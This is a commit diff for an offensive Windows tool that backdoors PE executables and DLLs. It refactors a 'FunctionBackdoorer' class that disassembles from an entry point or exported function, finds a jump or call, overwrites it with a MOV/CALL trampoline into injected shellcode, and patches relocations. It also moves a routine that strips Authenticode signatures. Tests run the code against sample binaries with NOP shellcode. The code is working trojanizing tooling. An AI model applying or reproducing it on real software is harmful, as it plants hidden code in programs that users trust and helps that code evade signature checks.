refactor: function hijacker / DerBackdoorer rework

pe/derbackdoorer.py

@@ -18,180 +18,119 @@ from model.defs import *
 logger = logging.getLogger("DerBackdoorer")
 
 
-class PeBackdoor:
+class FunctionBackdoorer:
-    def __init__(self, superpe: SuperPe, main_shc: bytes, carrier_invoke_style: CarrierInvokeStyle):
+    def __init__(self, superpe: SuperPe, main_shc: bytes):
         self.superpe: SuperPe = superpe
-        self.carrier_invoke_style: CarrierInvokeStyle = carrier_invoke_style
         self.shellcodeData: bytes = main_shc
-
-        # Working
-        self.shellcodeOffset: int  = 0    # from start of the file
-        self.shellcodeOffsetRel: int = 0  # from start of the code section
         self.shellcodeAddr: int = 0
-        self.backdoorOffsetRel: int = 0   # from start of the code section
+
+        self.pe_data = self.superpe.pe.get_memory_mapped_image()
+
+        self.cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64 + capstone.CS_MODE_LITTLE_ENDIAN)
+        self.ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64 + keystone.KS_MODE_LITTLE_ENDIAN)
+        self.cs.detail = True
 
 
-    def getExportEntryPoint(self, exportName: str):
+    def backdoor_function(self, function_addr: int, shellcode_addr: int):
-        dec = lambda x: '???' if x is None else x.decode() 
+        self.shellcodeAddr = shellcode_addr
-        d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
+        logger.info("Backdooring function at 0x{:X} (to shellcode 0x{:X})".format(function_addr, shellcode_addr))
-        self.superpe.pe.parse_data_directories(directories=d)
         
-        if self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
+        instr = self.find_suitable_instruction_addr(function_addr, 128)
-            raise Exception('No DLL exports found!')
+        if instr is None:
+            raise Exception("Couldn't find a suitable instruction to backdoor")
+        compiled_trampoline, trampoline_reloc_offset = self.get_trampoline(instr)
 
-        exports = [(e.ordinal, dec(e.name)) for e in self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols]
+        # write
-        chosen_export = None
+        self.superpe.pe.set_bytes_at_rva(instr.address, bytes(compiled_trampoline))
-        for export in exports:
+
-            #logger.debug(f'DLL Export: {export[0]} {export[1]}')
+        # relocs
-            if export[1].lower() == exportName.lower():
+        relocs = (
-                chosen_export = export
+            instr.address + trampoline_reloc_offset,
-                break
+        )
-        #export = exports[0]
+        pageRva = 4096 * int((instr.address + trampoline_reloc_offset) / 4096)
-        #if choose_random:
+        self.superpe.addImageBaseRelocations(pageRva, relocs)
-        #    export = exports[0]
-        logger.info("Export: {} {}".format(chosen_export[0], chosen_export[1]))
-        name = chosen_export[1]
-        #addr = self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols[export[0]].address
-        for exp in self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols:
-            #logger.info("-- {} {}".format(hex(exp.address), exp.name.decode()))
-            if exp.name.decode() == name:
-                #print(hex(exp.address), exp.name.decode())
-                addr = exp.address
-        return addr
 
 
-    def backdoor_function(self, function_addr, shellcode_addr):
+    def find_suitable_instruction_addr(self, startOffset, length, maxDepth = 5):
-        #imageBase = self.superpe.pe.OPTIONAL_HEADER.ImageBase
+        """Find a instruction to backdoor. Recursively."""
-        #self.shellcodeAddr = self.superpe.pe.get_rva_from_offset(self.shellcodeOffset) + imageBase
+        return self._find_suitable_instruction_addr(startOffset, length, maxDepth, 1)
 
-        cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64 + capstone.CS_MODE_LITTLE_ENDIAN)
-        ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64 + keystone.KS_MODE_LITTLE_ENDIAN)
-        cs.detail = True
 
-        #if addr == -1:
+    def _find_suitable_instruction_addr(self, startOffset, length, maxDepth, depth):
-        #    ep = self.superpe.get_entrypoint()
+        logger.info("find_suitable_instruction_addr: off: 0x{:X} len:{} depth:{}".format(startOffset, length, depth))
-        #    logger.info("--[ BackdoorEntryPoint(): Use Entry Point 0x{:X}".format(ep))
-        #else:
-        #    ep = addr
-        #    logger.info("--[ BackdoorEntryPoint(): Use Addr 0x{:X}".format(ep))
 
-        #ep_ava = ep + self.superpe.pe.OPTIONAL_HEADER.ImageBase
+        if depth > maxDepth:
-        #data = self.superpe.pe.get_memory_mapped_image()[ep:ep+128]
+            return None
-        #offset = 0
-        #logger.debug('Entry Point disasm:')
 
-        disasmData = self.superpe.pe.get_memory_mapped_image()
+        data = self.pe_data[startOffset:startOffset + length]
-        output = self.superpe.disasmBytes(cs, ks, disasmData, function_addr, 128, self.backdoorInstruction)
 
-        # store offset... by calculating it first FUCK
+        for instr in self.cs.disasm(data, startOffset):
-        section = self.superpe.get_code_section()
+            self.printInstr(instr, depth)
-        self.backdoorOffsetRel = output - section.VirtualAddress
 
-        if False:
+            # find a call/jmp instruction with an immediate operand
-            if output != 0:
+            if len(instr.operands) != 1:
-                logger.debug('Now disasm looks like follows: ')
+                continue
+            operand = instr.operands[0]
+            if operand.type != capstone.CS_OP_IMM:
+                continue
 
-                disasmData = self.superpe.pe.get_memory_mapped_image()
+            # We found one. check it.
-                self.superpe.disasmBytes(cs, ks, disasmData, output - 32, 32, None, maxDepth = 3)
+            logger.info('\t' * depth + f' -> Found OP_IMM: 0x{operand.value.imm:X}')
-
+            is_jumpy = instr.mnemonic.lower() in ['jmp', 'je', 'jz', 'jne', 'jnz', 'ja', 'jb', 'jae', 'jbe', 'jg', 'jl', 'jge', 'jle']
-                logger.debug('\n[>] Inserted backdoor code: ')
+            is_jumpy |= instr.mnemonic.lower() == 'call'
-                for instr in cs.disasm(bytes(self.compiledTrampoline), output):
+            if not is_jumpy:
-                    self.superpe.printInstr(instr, 1)
+                continue
-
-                logger.debug('')
-                self.superpe.disasmBytes(cs, ks, disasmData, output + len(self.compiledTrampoline), 32, None, maxDepth = 3)
 
+            # dont take a jump too early
+            if depth >= 2:
+                # use this as the backdoor
+                return instr
             else:
-                logger.error('Did not find suitable candidate for Entry Point branch hijack!')
+                # follow it deeper
-
+                if depth + 1 <= maxDepth:
-        return output
+                    out = self._find_suitable_instruction_addr(
+                        operand.value.imm, length, maxDepth, depth + 1)
+                    return out
+        return None
 
 
-    def getBackdoorTrampoline(self, cs, ks, instr):
+    def get_trampoline(self, instr):
-        trampoline = ''
         addrOffset = -1
 
-        if self.superpe.is_64():
+        if not self.superpe.is_64():
-            registers = ['rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi']
+            raise Exception("Not 64 bit")
-        else:
+        reg = random.choice(['rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi']).upper()
-            # Not really used
+        full_shellcode_addr = self.shellcodeAddr + self.superpe.pe.OPTIONAL_HEADER.ImageBase 
-            registers = ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi'] 
 
-        reg = random.choice(registers).upper()
+        enc, count = self.ks.asm(f'MOV {reg}, 0x{full_shellcode_addr:X}')
-        reg2 = random.choice(registers).upper()
+        for instr2 in self.cs.disasm(bytes(enc), 0):
-
-        while reg2 == reg:
-            reg2 = random.choice(registers).upper()
-
-        enc, count = ks.asm(f'MOV {reg}, 0x{self.shellcodeAddr:X}')
-        for instr2 in cs.disasm(bytes(enc), 0):
             addrOffset = len(instr2.bytes) - instr2.addr_size
             break
 
-        found = instr.mnemonic.lower() in ['jmp', 'je', 'jz', 'jne', 'jnz', 'ja', 'jb', 'jae', 'jbe', 'jg', 'jl', 'jge', 'jle']
+        jump = random.choice([
-        found |= instr.mnemonic.lower() == 'call'
+            f'CALL {reg}',
 
-        if found:
+            #
-            logger.info(f'---[ Backdooring entry point {instr.mnemonic.upper()} instruction at RVA 0x{instr.address:X} into:')
+            # During my tests I found that CALL reg works stabily all the time, whereas below two gadgets
+            # are known to crash on seldom occassions.
+            #
 
-            jump = random.choice([
+            #f'JMP {reg}',
-                f'CALL {reg}',
+            #f'PUSH {reg} ; RET',
+        ])
 
-                #
+        trampoline_text = f'MOV {reg}, 0x{full_shellcode_addr:X} ; {jump}'
-                # During my tests I found that CALL reg works stabily all the time, whereas below two gadgets
+        trampoline_compiled, count = self.ks.asm(trampoline_text)
-                # are known to crash on seldom occassions.
+        logger.info("--[ Backdooring {} at 0x{:X} with trampoline: {}".format(
-                #
+            instr.mnemonic.upper(), instr.address, trampoline_text))
-
+        return trampoline_compiled, addrOffset
-                #f'JMP {reg}',
-                #f'PUSH {reg} ; RET',
-            ])
-
-            trampoline = f'MOV {reg}, 0x{self.shellcodeAddr:X} ; {jump}'
-
-        for ins in trampoline.split(';'):
-            logger.info(f'\t{ins.strip()}')
-
-        return (trampoline, addrOffset)
     
 
-    def backdoorInstruction(self, cs, ks, disasmData, startOffset, instr, operand, depth):
+    def printInstr(self, instr, depth):
-        encoding = b''
+        _bytes = [f'{x:02x}' for x in instr.bytes[:8]]
-        count = 0
+        if len(instr.bytes) < 8:
+            _bytes.extend(['  ',] * (8 - len(instr.bytes)))
 
-        if depth < 2: 
+        instrBytes = ' '.join([f'{x}' for x in _bytes])
-            return 0
+        logger.info('\t' * 1 + f'[{instr.address:08x}]\t{instrBytes}' + '\t' * depth + f'{instr.mnemonic}\t{instr.op_str}')
 
-        (trampoline, addrOffset) = self.getBackdoorTrampoline(cs, ks, instr)
-
-        if len(trampoline) > 0:
-            encoding, count = ks.asm(trampoline)
-            self.superpe.pe.set_bytes_at_rva(instr.address, bytes(encoding))
-
-            relocs = (
-                instr.address + addrOffset,
-            )
-
-            pageRva = 4096 * int((instr.address + addrOffset) / 4096)
-            self.superpe.addImageBaseRelocations(pageRva, relocs)
-
-            self.trampoline = trampoline
-            self.compiledTrampoline = encoding
-            self.compiledTrampolineCount = count
-
-            logger.debug('Successfully backdoored entry point with jump/call to shellcode')
-            return instr.address
-
-        return 0
-
-
-    def removeSignature(self):
-        addr = self.superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress
-        size = self.superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size
-
-        self.superpe.pe.set_bytes_at_rva(addr, b'\x00' * size)
-
-        self.superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
-        self.superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
-
-        logger.info('PE executable Authenticode signature removed.')
-        return True

pe/superpe.py

@@ -213,6 +213,28 @@ class SuperPe():
             i += 1
 
 
+    def getExportEntryPoint(self, exportName: str):
+        dec = lambda x: '???' if x is None else x.decode() 
+        d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
+        self.pe.parse_data_directories(directories=d)
+
+        if self.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
+            raise Exception('No DLL exports found!')
+        
+        exports = [(e.ordinal, dec(e.name)) for e in self.pe.DIRECTORY_ENTRY_EXPORT.symbols]
+        chosen_export = None
+        for export in exports:
+            if export[1].lower() == exportName.lower():
+                chosen_export = export
+                break
+        logger.debug("Export: {} {}".format(chosen_export[0], chosen_export[1]))
+        name = chosen_export[1]
+        for exp in self.pe.DIRECTORY_ENTRY_EXPORT.symbols:
+            if exp.name.decode() == name:
+                addr = exp.address
+        return addr
+    
+
     def get_exports(self) -> List[str]:
         """Return a list of exported functions (names) from the PE file"""
         d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
@@ -276,47 +298,12 @@ class SuperPe():
         self.pe.write(outfile)
 
 
-    ## Disassembly / Output
+    def removeSignature(self):
+        logger.info('PE executable Authenticode signature remove')
+        addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress
+        size = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].Size
 
-    def disasmBytes(self, cs, ks, disasmData, startOffset, length, callback = None, maxDepth = 5):
+        self.pe.set_bytes_at_rva(addr, b'\x00' * size)
-        return self._disasmBytes(cs, ks, disasmData, startOffset, length, callback, maxDepth, 1)
 
-
+        self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
-    def printInstr(self, instr, depth):
+        self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
-        _bytes = [f'{x:02x}' for x in instr.bytes[:8]]
-        if len(instr.bytes) < 8:
-            _bytes.extend(['  ',] * (8 - len(instr.bytes)))
-
-        instrBytes = ' '.join([f'{x}' for x in _bytes])
-        logger.debug('\t' * 1 + f'[{instr.address:08x}]\t{instrBytes}' + '\t' * depth + f'{instr.mnemonic}\t{instr.op_str}')
-
-
-    def _disasmBytes(self, cs, ks, disasmData, startOffset, length, callback, maxDepth, depth):
-        if depth > maxDepth:
-            return 0
-
-        data = disasmData[startOffset:startOffset + length]
-
-        for instr in cs.disasm(data, startOffset):
-            self.printInstr(instr, depth)
-
-            if len(instr.operands) == 1:
-                operand = instr.operands[0]
-
-                if operand.type == capstone.CS_OP_IMM:
-                    logger.debug('\t' * (depth+1) + f' -> OP_IMM: 0x{operand.value.imm:X}')
-                    logger.debug('')
-
-                    if callback:
-                        out = callback(cs, ks, disasmData, startOffset, instr, operand, depth)
-                        if out != 0:
-                            return out
-
-                    if depth + 1 <= maxDepth:
-                        out = self._disasmBytes(cs, ks, disasmData, operand.value.imm, length, callback, maxDepth, depth + 1)
-                        return out
-
-        if not callback:
-            return 1
-
-        return 0

phases/injector.py

@@ -7,7 +7,7 @@ from model.carrier import Carrier, DataReuseEntry
 from pe.pehelper import *
 from model.exehost import *
 from observer import observer
-from pe.derbackdoorer import PeBackdoor
+from pe.derbackdoorer import FunctionBackdoorer
 from pe.superpe import SuperPe
 from model.project import Project
 from model.settings import Settings
@@ -42,13 +42,13 @@ def inject_exe(
 
     # superpe is a representation of the exe file. We gonna modify it, and save it at the end.
     superpe = SuperPe(exe_in)
-    pe_backdoorer = PeBackdoor(superpe, main_shc, carrier_invoke_style)
+    function_backdoorer = FunctionBackdoorer(superpe, main_shc)
 
     shellcode_offset: int = 0
     if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
         # Special case. put it at the beginning of the exported DLL function
         logger.info("--[ Overwrite DLL function {} with shellcode".format(settings.dllfunc))
-        rva = pe_backdoorer.getExportEntryPoint(settings.dllfunc)
+        rva = superpe.getExportEntryPoint(settings.dllfunc)
 
         # Size and sanity checks
         exports = superpe.get_exports_full()
@@ -83,11 +83,6 @@ def inject_exe(
         # Copy the shellcode
         superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
 
-        # HACK
-        pe_backdoorer.shellcodeOffset = shellcode_offset
-        pe_backdoorer.shellcodeOffsetRel = shellcode_offset - sect.PointerToRawData
-        pe_backdoorer.shellcodeAddr = shellcode_rva + superpe.pe.OPTIONAL_HEADER.ImageBase 
-
         # rewire flow
         if superpe.is_dll() and settings.dllfunc != "":
             logger.info("---( Rewire: DLL function: {} ".format(settings.dllfunc))
@@ -97,10 +92,10 @@ def inject_exe(
                 raise Exception("We should not land here")
 
             elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
-                addr = pe_backdoorer.getExportEntryPoint(settings.dllfunc)
+                addr = superpe.getExportEntryPoint(settings.dllfunc)
                 logger.info("--( Inject DLL: Patch {} (0x{:X})".format(
                     settings.dllfunc, addr))
-                pe_backdoorer.backdoor_function(addr, shellcode_rva)
+                function_backdoorer.backdoor_function(addr, shellcode_rva)
 
         else: # EXE
             logger.info("---( Rewire: EXE")
@@ -114,7 +109,7 @@ def inject_exe(
                 addr = superpe.get_entrypoint()
                 logger.info("--( Inject EXE: Patch main() (0x{:X})".format(
                     addr))
-                pe_backdoorer.backdoor_function(addr, shellcode_rva)
+                function_backdoorer.backdoor_function(addr, shellcode_rva)
 
         if source_style == FunctionInvokeStyle.iat_reuse:
             injected_fix_iat(superpe, project.carrier, project.exe_host)
@@ -124,14 +119,14 @@ def inject_exe(
     superpe.write_pe_to_file(exe_out)
 
     # verify and log
-    shellcode = file_readall_binary(shellcode_in)
+    #shellcode = file_readall_binary(shellcode_in)
-    shellcode_len = len(shellcode)
+    #shellcode_len = len(shellcode)
-    code = extract_code_from_exe_file(exe_out)
+    #code = extract_code_from_exe_file(exe_out)
-    in_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+shellcode_len]
+    #in_code = code[function_backdoorer.shellcodeOffsetRel:function_backdoorer.shellcodeOffsetRel+shellcode_len]
-    jmp_code = code[pe_backdoorer.backdoorOffsetRel:pe_backdoorer.backdoorOffsetRel+12]
+    #jmp_code = code[function_backdoorer.backdoorOffsetRel:function_backdoorer.backdoorOffsetRel+12]
-    if config.debug:
+    #if config.debug:
-        observer.add_code_file("exe_extracted_loader", in_code)
+    #    observer.add_code_file("exe_extracted_loader", in_code)
-        observer.add_code_file("exe_extracted_jmp", jmp_code)
+    #    observer.add_code_file("exe_extracted_jmp", jmp_code)
 
 
 def injected_fix_iat(superpe: SuperPe, carrier: Carrier, exe_host: ExeHost):

supermega.py

@@ -67,7 +67,7 @@ def main():
         elif args.carrier_invoke == "backdoor":
             settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
         else:
-            logging.error("Invalid mode, use one of:")
+            logging.error("Invalid carrier_invoke, use one of:")
             for i in ["eop", "backdoor"]:
                 logging.error("  {}  {}".format(i, carrier_invoke_style_str(i)))
             return

tests/test_derbackdoorer.py

@@ -9,96 +9,33 @@ from pe.pehelper import extract_code_from_exe_file
 from utils import hexdump
 from observer import observer
 from model.defs import *
-from pe.derbackdoorer import PeBackdoor
+from pe.derbackdoorer import FunctionBackdoorer
+from pe.superpe import SuperPe
 
 
-# What to make sure of: 
-# 1: Change of AddressEntryPoint
-#   * Shellcode is at the location given
-#   * EP points to the shellcode
-#
-# 2: Hijack
-#   * Shellcode is at the location given
-#   * The call has been patched
-
 class DerBackdoorerTest(unittest.TestCase):
     @classmethod
     def setUpClass(cls):
         observer.active = False
 
-    def test_backdoor_ep(self):
+
-        # Write example shellcode
+    def test_function_backdoorer_exe(self):
-        shellcode_path = PATH_EXES + "shellcode.test"
         shellcode = b"\x90" * 200
-        with open(shellcode_path, "wb") as f:
+        superpe = SuperPe(PATH_EXES + "iattest-full.exe")
-            f.write(shellcode)
+        function_backdoorer = FunctionBackdoorer(superpe, shellcode)
 
-        exe_path = PATH_EXES + "iattest-full.exe"
+        instr = function_backdoorer.find_suitable_instruction_addr(superpe.get_entrypoint(), 128, 5)
-        exe_out_path = PATH_EXES + "iattest-full.test.exe"
+        self.assertIsNotNone(instr)
-
+        self.assertEqual(instr.mnemonic, "jne")
-        shutil.copyfile(exe_path, exe_out_path)
+        self.assertEqual(instr.address, 0x1701)
-
-        pe_backdoorer = PeBackdoor()
-        result = pe_backdoorer.backdoor(
-            1, # always overwrite .text section
-            1, # EntryPoint change
-            shellcode_path, 
-            exe_path,
-            exe_out_path,
-        )
-
-        self.assertTrue(result)
-        code = extract_code_from_exe_file(exe_out_path)
-        extracted_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+len(shellcode)]
-        self.assertEqual(shellcode, extracted_code)
-
-        os.remove(exe_out_path)
-        os.remove(shellcode_path)
 
 
-    def test_backdoor_hijack(self):
+    def test_function_backdoorer_dll(self):
-        # Write example shellcode
         shellcode = b"\x90" * 200
-        with open(PATH_EXES + "shellcode.test", "wb") as f:
+        superpe = SuperPe(PATH_EXES + "libbz2-1.dll")
-            f.write(shellcode)
+        function_backdoorer = FunctionBackdoorer(superpe, shellcode)
 
-        shellcode_path = PATH_EXES + "shellcode.test"
+        instr = function_backdoorer.find_suitable_instruction_addr(superpe.get_entrypoint(), 128, 5)
-        exe_path = PATH_EXES + "7z.exe"
+        self.assertIsNotNone(instr)
-        exe_out_path = PATH_EXES + "7z.test.exe"
+        self.assertEqual(instr.mnemonic, "jne")
-
+        self.assertEqual(instr.address, 0x1220)
-        shutil.copyfile(exe_path, exe_out_path)
-
-        pe_backdoorer = PeBackdoor()
-        result = pe_backdoorer.backdoor(
-            1, # always overwrite .text section
-            2, # Hijack
-            shellcode_path, 
-            exe_path,
-            exe_out_path,
-        )
-
-        self.assertTrue(result)
-
-        # code
-        code = extract_code_from_exe_file(exe_out_path)
-        extracted_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+len(shellcode)]
-        self.assertEqual(shellcode, extracted_code)
-
-        # jmp
-        #  48 c7 c2 d7 fb 42 00 ff d2 5b 0f b7
-        #  48 c7 c6 d7 fb 42 00 ff d6 5b 0f b7
-        jmp_code = code[pe_backdoorer.backdoorOffsetRel:pe_backdoorer.backdoorOffsetRel+12]
-        self.assertEqual(jmp_code[0], 0x48)
-        self.assertEqual(jmp_code[1], 0xc7)
-        #self.assertEqual(jmp_code[2], 0x??)  # variable
-        self.assertEqual(jmp_code[3], 0xd7)
-        self.assertEqual(jmp_code[4], 0xfb)
-        self.assertEqual(jmp_code[5], 0x42)
-        self.assertEqual(jmp_code[6], 0x00)
-        self.assertEqual(jmp_code[7], 0xff)
-        #self.assertEqual(jmp_code[8], 0x??) # variable
-        self.assertEqual(jmp_code[9], 0x5b)
-        self.assertEqual(jmp_code[10], 0x0f)
-        self.assertEqual(jmp_code[11], 0xb7)
-
-        os.remove(exe_out_path)